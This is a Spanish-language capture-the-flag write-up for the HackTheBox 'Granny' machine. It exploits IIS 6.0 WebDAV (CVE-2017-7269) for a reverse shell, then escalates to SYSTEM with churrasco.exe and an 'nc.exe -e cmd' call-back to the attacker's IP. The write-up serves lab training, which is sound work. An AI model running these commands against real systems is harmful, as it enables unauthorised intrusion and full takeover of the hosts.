Inicio HTB - Granny
Entrada
Cancelar

HTB - Granny

¡Hola! Vamos a resolver de la máquina Granny de dificultad “Fácil” de la plataforma HackTheBox.

Técnicas Vistas:

  • Microsoft IIS 6.0 - CVE-2017-7269
  • Churrasco [Privilege Escalation]

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Granny. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.15
PING 10.10.10.15 (10.10.10.15) 56(84) bytes of data.
64 bytes from 10.10.10.15: icmp_seq=1 ttl=127 time=42.3 ms

--- 10.10.10.15 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.15 -oG allPorts

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 127

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nmap -sCV -p80 10.10.10.15 -oN targeted

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
|_http-title: Under Construction
| http-webdav-scan: 
|   Server Type: Microsoft-IIS/6.0
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Date: Fri, 28 Oct 2022 15:07:39 GMT
|_http-server-header: Microsoft-IIS/6.0
| http-methods: 
|_  Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
3
whatweb 10.10.10.15

http://10.10.10.15 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/6.0], IP[10.10.10.15], Microsoft-IIS[6.0][Under Construction], MicrosoftOfficeWebServer[5.0_Pub], UncommonHeaders[microsoftofficewebserver], X-Powered-By[ASP.NET]

IIS Exploit


Observamos que la máquina víctima está corriendo bajo Microsoft IIS 6.0. Tras una búsqueda en Google encontramos que esta versión de IIS es vulnerable al exploit CVE-2017-7269 por lo que utilizaremos la herramienta del github de g0rx que nos va a generar una reverse shell directamente con la máquina víctima.

Descarga de exploit

1
2
3
cd ../exploits
wget https://raw.githubusercontent.com/g0rx/iis6-exploit-2017-CVE-2017-7269/master/iis6%20reverse%20shell
mv iis6\ reverse\ shell iisExploit.py

Ejecutamos el exploit y nos indica el modo de uso

1
2
python iisExploit.py
usage:iis6webdav.py targetip targetport reverseip reverseport

Creamos un listener

1
rlwrap nc -lnvp 443

Ejecutamos el exploit

1
python iisExploit.py 10.10.10.15 80 10.10.14.94 443

Reverse Shell

1
2
3
4
5
6
7
8
9
10
listening on [any] 443 ...
connect to [10.10.14.94] from (UNKNOWN) [10.10.10.15] 1033
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

whoami
whoami
nt authority\network service

c:\windows\system32\inetsrv>

Escalada Privilegios


Ahora que nos encontramos dentro de la máquina víctima, vamos a realizar la enumeración de permisos y tareas con la finalidad de lograr escalar privilegios.

Enumeración privilegios de usuario

1
2
3
4
5
6
7
8
9
10
11
12
13
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAuditPrivilege              Generate security audits                  Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 

Detectamos que tenemos el privilegio asignado SeImpersonatePrivilege gracias al cual podemos escalar privilegios con la variante de la herramienta JuicyPotato.exe denominada churrasco.exe, procedemos a su descarga en el directorio de trabajo exploits desde el GitHub de Re4son

1
wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe

También nos descargamos en el directorio de trabajo la herramienta nc.exe del repositorio de GitHub de int0x33

Proecedemos a subir la herramienta churrasco.exe a la máquina víctima creando un recurso compartido a nivel de red con impacket-smbserver

1
impacket-smbserver smbFolder $(pwd) -smb2support

En la máquina víctima ingresamos a la carpeta C:\Windows\Temp, creamos la carpeta privesc y copiamos el archivo churrasco.exe

1
2
3
4
cd c:\Windows\Temp
md privesc
cd privesc
copy \\10.10.14.94\smbFolder\churrasco.exe churrasco.exe

Creamos un listener

1
rlwrap nc -lnvp 443

Ejecutamos en la máquina víctima churrasco.exe para que ejecute con privilegios nc.exe y así establecer una reverse shell con privilegios de nt authority\system

1
churrasco.exe "\\10.10.14.94\smbFolder\nc.exe -e cmd 10.10.14.94 443"

Obtenemos una shell como nt authority\system

1
2
whoami
nt authority\system

Flags


Tras una búsqueda desde la raíz localizamos las flags en sus respectivos directorios. Con el comando type nos muestra el contenido.

1
2
3
4
#USER
cd c:\
dir /b/s user.txt
C:\Documents and Settings\Lakis\Desktop\user.txt
1
2
3
#ROOT
dir /b/s root.txt
C:\Documents and Settings\Administrator\Desktop\root.txt

Hemos completado la máquina Granny de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.